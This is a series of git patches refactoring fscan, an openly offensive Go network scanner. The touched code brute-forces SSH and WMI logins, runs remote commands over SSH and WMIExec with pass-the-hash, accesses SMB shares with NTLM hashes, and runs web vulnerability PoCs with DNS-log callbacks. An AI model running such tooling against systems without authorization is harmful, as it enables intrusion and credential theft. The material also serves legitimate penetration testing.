common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { - conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(flags.Timeout)*time.Second) +func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { + conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -78,7 +77,7 @@ func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, } initiator := smb2.NTLMInitiator{ User: user, - Domain: flags.Domain, + Domain: common.Domain, } if len(hash) > 0 { initiator.Hash = hash @@ -100,13 +99,13 @@ func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, } if !hasprint { var result string - if flags.Domain != "" { - result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user) + if common.Domain != "" { + result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) } else { result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user) } if len(hash) > 0 { - result += "hash: " + flags.Hash + result += "hash: " + common.Hash } else { result += pass } @@ -127,5 +126,51 @@ func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, defer f.Close() flag = true return + //bs, err := ioutil.ReadAll(f) + //if err != nil { + // return + //} + //fmt.Println(string(bs)) + //return } + +//if info.Path == ""{ +//} +//path = info.Path +//f, err := fs.OpenFile(path, os.O_RDONLY, 0666) +//if err != nil { +// return +//} +//flag = true +//_, err = f.Seek(0, io.SeekStart) +//if err != nil { +// return +//} +//bs, err := ioutil.ReadAll(f) +//if err != nil { +// return +//} +//fmt.Println(string(bs)) +//return +//f, err := fs.Create(`Users\Public\Videos\hello.txt`) +//if err != nil { +// return +//} +//flag = true +// +//_, err = f.Write([]byte("Hello world!")) +//if err != nil { +// return +//} +// +//_, err = f.Seek(0, io.SeekStart) +//if err != nil { +// return +//} +//bs, err := ioutil.ReadAll(f) +//if err != nil { +// return +//} +//fmt.Println(string(bs)) +//return From 6cd1ee75f5dd2b094fdb837e5f6ad6a69d4fd0f7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:27:01 +0800 Subject: [PATCH 26/46] Update ssh.go --- Plugins/ssh.go | 45 ++++++++++++++++++++++----------------------- 1 file changed, 22 insertions(+), 23 deletions(-) diff --git a/Plugins/ssh.go b/Plugins/ssh.go index e3ac75d..d4ab5df 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -3,25 +3,24 @@ package Plugins import ( "errors" "fmt" - "net" - "os" - "strings" - "time" - "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" + "io/ioutil" + "net" + "strings" + "time" ) -func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func SshScan(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["ssh"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := SshConn(info, flags, user, pass) - if flag && err == nil { + flag, err := SshConn(info, user, pass) + if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -30,11 +29,11 @@ func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) { return err } } - if flags.SshKey != "" { + if common.SshKey != "" { return err } } @@ -42,12 +41,12 @@ func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) { +func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass var Auth []ssh.AuthMethod - if flags.SshKey != "" { - pemBytes, err := os.ReadFile(flags.SshKey) + if common.SshKey != "" { + pemBytes, err := ioutil.ReadFile(common.SshKey) if err != nil { return false, errors.New("read key failed" + err.Error()) } @@ -63,7 +62,7 @@ func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) config := &ssh.ClientConfig{ User: Username, Auth: Auth, - Timeout: time.Duration(flags.Timeout) * time.Second, + Timeout: time.Duration(common.Timeout) * time.Second, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, @@ -77,17 +76,17 @@ func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) defer session.Close() flag = true var result string - if flags.Command != "" { - combo, _ := session.CombinedOutput(flags.Command) - result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) - if flags.SshKey != "" { - result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo)) + if common.Command != "" { + combo, _ := session.CombinedOutput(common.Command) + result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) + if common.SshKey != "" { + result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo)) } common.LogSuccess(result) } else { - result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password) - if flags.SshKey != "" { - result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port) + result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password) + if common.SshKey != "" { + result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port) } common.LogSuccess(result) } From 268f7d2aed81304b0cb576c6cf49196fca0892e8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:27:34 +0800 Subject: [PATCH 27/46] Update webtitle.go --- Plugins/webtitle.go | 60 +++++++++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 27 deletions(-) diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 460e5c7..f968569 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -18,23 +18,23 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) -func WebTitle(info common.HostInfo, flags common.Flags) error { - if flags.Scantype == "webpoc" { - WebScan.WebScan(info, flags) +func WebTitle(info *common.HostInfo) error { + if common.Scantype == "webpoc" { + WebScan.WebScan(info) return nil } - err, CheckData := GOWebTitle(info, flags) + err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - if flags.IsWebCan && err == nil { - WebScan.WebScan(info, flags) + if !common.NoWebCan && err == nil { + WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) common.LogError(errlog) } return err } -func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { if info.Url == "" { switch info.Ports { case "80": @@ -43,26 +43,26 @@ func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData info.Url = fmt.Sprintf("https://%s", info.Host) default: host := fmt.Sprintf("%s:%s", info.Host, info.Ports) - protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout) + protocol := GetProtocol(host, common.Timeout) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) } } else { if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0] - protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout) + protocol := GetProtocol(host, common.Timeout) info.Url = fmt.Sprintf("%s://%s", protocol, info.Url) } } - err, result, CheckData := geturl(info, flags, 1, CheckData) + err, result, CheckData := geturl(info, 1, CheckData) if err != nil && !strings.Contains(err.Error(), "EOF") { return } - // there is a jump + //有跳转 if strings.Contains(result, "://") { info.Url = result - err, result, CheckData = geturl(info, flags, 3, CheckData) + err, result, CheckData = geturl(info, 3, CheckData) if err != nil { return } @@ -70,24 +70,25 @@ func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData if result == "https" && !strings.HasPrefix(info.Url, "https://") { info.Url = strings.Replace(info.Url, "http://", "https://", 1) - err, result, CheckData = geturl(info, flags, 1, CheckData) - // there is a jump + err, result, CheckData = geturl(info, 1, CheckData) + //有跳转 if strings.Contains(result, "://") { info.Url = result - err, _, CheckData = geturl(info, flags, 3, CheckData) + err, _, CheckData = geturl(info, 3, CheckData) if err != nil { return } } } - + //是否访问图标 + //err, _, CheckData = geturl(info, 2, CheckData) if err != nil { return } return } -func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { //flag 1 first try //flag 2 /favicon.ico //flag 3 302 @@ -112,7 +113,11 @@ func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebS if common.Cookie != "" { req.Header.Set("Cookie", common.Cookie) } - + //if common.Pocinfo.Cookie != "" { + // req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) + //} else { + // req.Header.Set("Cookie", "rememberMe=1") + //} req.Header.Set("Connection", "close") var client *http.Client if flag == 1 { @@ -149,7 +154,7 @@ func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebS } result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { - result += fmt.Sprintf(" jump url: %s", reurl) + result += fmt.Sprintf(" 跳转url: %s", reurl) } common.LogSuccess(result) } @@ -210,20 +215,21 @@ func gettitle(body []byte) (title string) { return } -func GetProtocol(host string, proxy common.Socks5, Timeout int64) (protocol string) { +func GetProtocol(host string, Timeout int64) (protocol string) { + protocol = "http" + //如果端口是80或443,跳过Protocol判断 if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { - return "http" + return + } else if strings.HasSuffix(host, ":443") { + protocol = "https" + return } - if strings.HasSuffix(host, ":443") { - return "https" - } - - socksconn, err := common.WrapperTcpWithTimeout("tcp", host, proxy, time.Duration(Timeout)*time.Second) + socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if err != nil { return } - conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true}) + conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}) defer func() { if conn != nil { defer func() { From 468381fb18bbf6db0dee769f4b313924c130e118 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:28:15 +0800 Subject: [PATCH 28/46] Update wmiexec.go --- Plugins/wmiexec.go | 33 ++++++++++++++++----------------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go index f60f230..81421b0 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/wmiexec.go @@ -3,12 +3,11 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/common" "os" "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/C-Sto/goWMIExec/pkg/wmiexec" ) @@ -27,8 +26,8 @@ func init() { flag = true } -func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) { - if flags.IsBrute { +func WmiExec(info *common.HostInfo) (tmperr error) { + if common.IsBrute { return nil } starttime := time.Now().Unix() @@ -36,19 +35,19 @@ func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) { PASS: for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := Wmiexec(info, flags, user, pass) - errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) + flag, err := Wmiexec(info, user, pass, common.Hash) + errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) common.LogError(errlog) - if flag { + if flag == true { var result string - if flags.Domain != "" { - result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user) + if common.Domain != "" { + result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) } else { - result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user) + result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) } - if flags.Hash != "" { - result += "hash: " + flags.Hash + if common.Hash != "" { + result += "hash: " + common.Hash } else { result += pass } @@ -59,11 +58,11 @@ func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { return err } } - if len(flags.Hash) == 32 { + if len(common.Hash) == 32 { break PASS } } @@ -71,10 +70,10 @@ func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) { return tmperr } -func Wmiexec(info *common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) { +func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - wmiexec.Timeout = int(flags.Timeout) - return WMIExec(target, user, pass, flags.Hash, flags.Domain, flags.Command, ClientHost, "", nil) + wmiexec.Timeout = int(common.Timeout) + return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) } func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { From 5ff8b781c8f686729a9adfe3488715d2b918a110 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:28:58 +0800 Subject: [PATCH 29/46] Update WebScan.go --- WebScan/WebScan.go | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 0a9452f..99bacd6 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,14 +3,13 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" "net/http" "os" "path/filepath" "strings" "sync" - - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" ) //go:embed pocs @@ -18,23 +17,23 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc -func WebScan(info common.HostInfo, flags common.Flags) { - once.Do(func() { initpoc(flags.PocPath) }) - var pocinfo = flags.Pocinfo +func WebScan(info *common.HostInfo) { + once.Do(initpoc) + var pocinfo = common.Pocinfo buf := strings.Split(info.Url, "/") pocinfo.Target = strings.Join(buf[:3], "/") if pocinfo.PocName != "" { - Execute(pocinfo, flags) + Execute(pocinfo) } else { for _, infostr := range info.Infostr { pocinfo.PocName = lib.CheckInfoPoc(infostr) - Execute(pocinfo, flags) + Execute(pocinfo) } } } -func Execute(PocInfo common.PocInfo, flags common.Flags) { +func Execute(PocInfo common.PocInfo) { req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) @@ -49,11 +48,11 @@ func Execute(PocInfo common.PocInfo, flags common.Flags) { } req.Header.Set("Connection", "close") pocs := filterPoc(PocInfo.PocName) - lib.CheckMultiPoc(req, pocs, flags) + lib.CheckMultiPoc(req, pocs, common.PocNum) } -func initpoc(pocPath string) { - if pocPath == "" { +func initpoc() { + if common.PocPath == "" { entries, err := Pocs.ReadDir("pocs") if err != nil { fmt.Printf("[-] init poc error: %v", err) @@ -68,7 +67,7 @@ func initpoc(pocPath string) { } } } else { - err := filepath.Walk(pocPath, + err := filepath.Walk(common.PocPath, func(path string, info os.FileInfo, err error) error { if err != nil || info == nil { return err From 99d526d7d0b5d870c27c1a6f605860b321d03eb3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:31:30 +0800 Subject: [PATCH 30/46] Update check.go --- WebScan/lib/check.go | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index 1b72eca..14e8316 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -3,6 +3,9 @@ package lib import ( "crypto/md5" "fmt" + "github.com/google/cel-go/cel" + "github.com/shadow1ng/fscan/WebScan/info" + "github.com/shadow1ng/fscan/common" "math/rand" "net/http" "net/url" @@ -10,10 +13,6 @@ import ( "strings" "sync" "time" - - "github.com/google/cel-go/cel" - "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" ) var ( @@ -26,15 +25,15 @@ type Task struct { Poc *Poc } -func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) { +func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { tasks := make(chan Task) var wg sync.WaitGroup - for i := 0; i < flags.PocNum; i++ { + for i := 0; i < workers; i++ { go func() { for task := range tasks { - isVul, _, name := executePoc(task.Req, task.Poc, flags) + isVul, _, name := executePoc(task.Req, task.Poc) if isVul { - result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name) + result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) common.LogSuccess(result) } wg.Done() @@ -53,7 +52,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) { close(tasks) } -func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, string) { +func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { c := NewEnvOption() c.UpdateCompileOptions(p.Set) if len(p.Sets) > 0 { @@ -83,7 +82,7 @@ func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, st for _, item := range p.Set { k, expression := item.Key, item.Value if expression == "newReverse()" { - if !flags.DnsLog { + if !common.DnsLog { return false, nil, "" } variableMap[k] = newReverse() @@ -97,7 +96,7 @@ func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, st success := false //爆破模式,比如tomcat弱口令 if len(p.Sets) > 0 { - success, err = clusterpoc(oReq, p, flags.PocFull, variableMap, req, env) + success, err = clusterpoc(oReq, p, variableMap, req, env) return success, nil, "" } @@ -133,6 +132,7 @@ func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, st newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) if err != nil { + //fmt.Println("[-] newRequest error: ",err) return false, err } newRequest.Header = oReq.Header.Clone() @@ -161,7 +161,6 @@ func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, st if err != nil { return false, err } - //如果false不继续执行后续rule // 如果最后一步执行失败,就算前面成功了最终依旧是失败 flag, ok = out.Value().(bool) @@ -258,7 +257,7 @@ func newReverse() *Reverse { } } -func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { var strMap StrMap var tmpnum int for i, rule := range p.Rules { @@ -277,8 +276,8 @@ func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string ruleHash := make(map[string]struct{}) look: for j, item := range setsMap { - //shiro only runs by default 10key - if p.Name == "poc-yaml-shiro-key" && !pocFull && j >= 10 { + //shiro默认只跑10key + if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { if item[1] == "cbc" { continue } else { @@ -354,15 +353,15 @@ func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string if success { if rule.Continue { if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) } else { - common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) } continue } strMap = append(strMap, tmpMap...) if i == len(p.Rules)-1 { - common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) //防止后续继续打印poc成功信息 return false, nil } @@ -445,6 +444,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) if err != nil { + //fmt.Println("[-] newRequest error:",err) return false, err } newRequest.Header = oReq.Header.Clone() @@ -476,7 +476,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } return false, err } - + //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 } From 608b2e2c878f085bfba35c1795bd9cfa0ecec1bc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:32:28 +0800 Subject: [PATCH 31/46] Update client.go --- WebScan/lib/client.go | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/WebScan/lib/client.go b/WebScan/lib/client.go index 985ce98..a4d443f 100644 --- a/WebScan/lib/client.go +++ b/WebScan/lib/client.go @@ -6,6 +6,9 @@ import ( "embed" "errors" "fmt" + "github.com/shadow1ng/fscan/common" + "golang.org/x/net/proxy" + "gopkg.in/yaml.v2" "io/ioutil" "log" "net" @@ -13,10 +16,6 @@ import ( "net/url" "strings" "time" - - "github.com/shadow1ng/fscan/common" - "golang.org/x/net/proxy" - "gopkg.in/yaml.v2" ) var ( @@ -26,15 +25,15 @@ var ( keepAlive = 5 * time.Second ) -func Inithttp(flags common.Flags) { +func Inithttp(PocInfo common.PocInfo) { //PocInfo.Proxy = "http://127.0.0.1:8080" - err := InitHttpClient(flags.PocNum, flags.Proxy, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.WebTimeout)*time.Second) + err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second) if err != nil { log.Fatal(err) } } -func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, Timeout time.Duration) error { +func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) dialer := &net.Dialer{ Timeout: dialTimout, @@ -47,13 +46,13 @@ func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, MaxIdleConns: 0, MaxIdleConnsPerHost: ThreadsNum * 2, IdleConnTimeout: keepAlive, - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, TLSHandshakeTimeout: 5 * time.Second, DisableKeepAlives: false, } - if socks5Proxy.Address != "" { - dialSocksProxy, err := common.Socks5Dailer(dialer, socks5Proxy) + if common.Socks5Proxy != "" { + dialSocksProxy, err := common.Socks5Dailer(dialer) if err != nil { return err } From 53c1b3232a4ce9acee0257d8f5e87d33472d291f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:34:23 +0800 Subject: [PATCH 32/46] Update client.go From 29acfb166ba298ae728500600b56216618f5a989 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:34:42 +0800 Subject: [PATCH 33/46] Update eval.go --- WebScan/lib/eval.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/WebScan/lib/eval.go b/WebScan/lib/eval.go index 3a5bf3d..548024a 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/eval.go @@ -564,13 +564,13 @@ func randomString(n int) string { } func reverseCheck(r *Reverse, timeout int64) bool { - if ceyeApi == "" || r.Domain == "" { + if ceyeApi == "" || r.Domain == "" || !common.DnsLog { return false } time.Sleep(time.Second * time.Duration(timeout)) sub := strings.Split(r.Domain, ".")[0] urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) - + //fmt.Println(urlStr) req, _ := http.NewRequest("GET", urlStr, nil) resp, err := DoRequest(req, false) if err != nil { @@ -621,6 +621,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { oResp, err = ClientNoRedirect.Do(req) } if err != nil { + //fmt.Println("[-]DoRequest error: ",err) return nil, err } defer oResp.Body.Close() From 59983affb71cbbd917c3a98d772dd93fb29001aa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:36:13 +0800 Subject: [PATCH 34/46] Update Parse.go --- common/Parse.go | 131 ++++++++++++++++++++++++------------------------ 1 file changed, 65 insertions(+), 66 deletions(-) diff --git a/common/Parse.go b/common/Parse.go index 32ef9c5..886601c 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -11,28 +11,24 @@ import ( "strings" ) -func Parse(inputConfig *InConfig) { - ParseUser(&inputConfig.Flags) - ParsePass(&inputConfig.HostInfo, &inputConfig.Flags) - ParseInput(&inputConfig.HostInfo, &inputConfig.Flags) - ParseScantype(&inputConfig.HostInfo, &inputConfig.Flags) - - Outputfile = inputConfig.LogConfig.Outputfile - IsSave = !inputConfig.LogConfig.TmpSave - Cookie = inputConfig.Cookie +func Parse(Info *HostInfo) { + ParseUser() + ParsePass(Info) + ParseInput(Info) + ParseScantype(Info) } -func ParseUser(flags *Flags) { - if flags.Username == "" && flags.Userfile == "" { +func ParseUser() { + if Username == "" && Userfile == "" { return } var Usernames []string - if flags.Username != "" { - Usernames = strings.Split(flags.Username, ",") + if Username != "" { + Usernames = strings.Split(Username, ",") } - if flags.Userfile != "" { - users, err := Readfile(flags.Userfile) + if Userfile != "" { + users, err := Readfile(Userfile) if err == nil { for _, user := range users { if user != "" { @@ -48,10 +44,10 @@ func ParseUser(flags *Flags) { } } -func ParsePass(Info *HostInfo, flags *Flags) { +func ParsePass(Info *HostInfo) { var PwdList []string - if flags.Password != "" { - passs := strings.Split(flags.Password, ",") + if Password != "" { + passs := strings.Split(Password, ",") for _, pass := range passs { if pass != "" { PwdList = append(PwdList, pass) @@ -59,8 +55,8 @@ func ParsePass(Info *HostInfo, flags *Flags) { } Passwords = PwdList } - if flags.Passfile != "" { - passs, err := Readfile(flags.Passfile) + if Passfile != "" { + passs, err := Readfile(Passfile) if err == nil { for _, pass := range passs { if pass != "" { @@ -70,35 +66,34 @@ func ParsePass(Info *HostInfo, flags *Flags) { Passwords = PwdList } } - - if flags.URL != "" { - urls := strings.Split(flags.URL, ",") + if URL != "" { + urls := strings.Split(URL, ",") TmpUrls := make(map[string]struct{}) for _, url := range urls { if _, ok := TmpUrls[url]; !ok { TmpUrls[url] = struct{}{} if url != "" { - flags.Urls = append(flags.Urls, url) + Urls = append(Urls, url) } } } } - if flags.UrlFile != "" { - urls, err := Readfile(flags.UrlFile) + if UrlFile != "" { + urls, err := Readfile(UrlFile) if err == nil { TmpUrls := make(map[string]struct{}) for _, url := range urls { if _, ok := TmpUrls[url]; !ok { TmpUrls[url] = struct{}{} if url != "" { - flags.Urls = append(flags.Urls, url) + Urls = append(Urls, url) } } } } } - if flags.PortFile != "" { - ports, err := Readfile(flags.PortFile) + if PortFile != "" { + ports, err := Readfile(PortFile) if err == nil { newport := "" for _, port := range ports { @@ -130,84 +125,88 @@ func Readfile(filename string) ([]string, error) { return content, nil } -func ParseInput(Info *HostInfo, flags *Flags) { - if Info.Host == "" && flags.HostFile == "" && flags.URL == "" && flags.UrlFile == "" { +func ParseInput(Info *HostInfo) { + if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { fmt.Println("Host is none") flag.Usage() os.Exit(0) } - if flags.BruteThread <= 0 { - flags.BruteThread = 1 + if BruteThread <= 0 { + BruteThread = 1 + } + + if TmpSave == true { + IsSave = false } if Info.Ports == DefaultPorts { Info.Ports += "," + Webport } - if flags.PortAdd != "" { + if PortAdd != "" { if strings.HasSuffix(Info.Ports, ",") { - Info.Ports += flags.PortAdd + Info.Ports += PortAdd } else { - 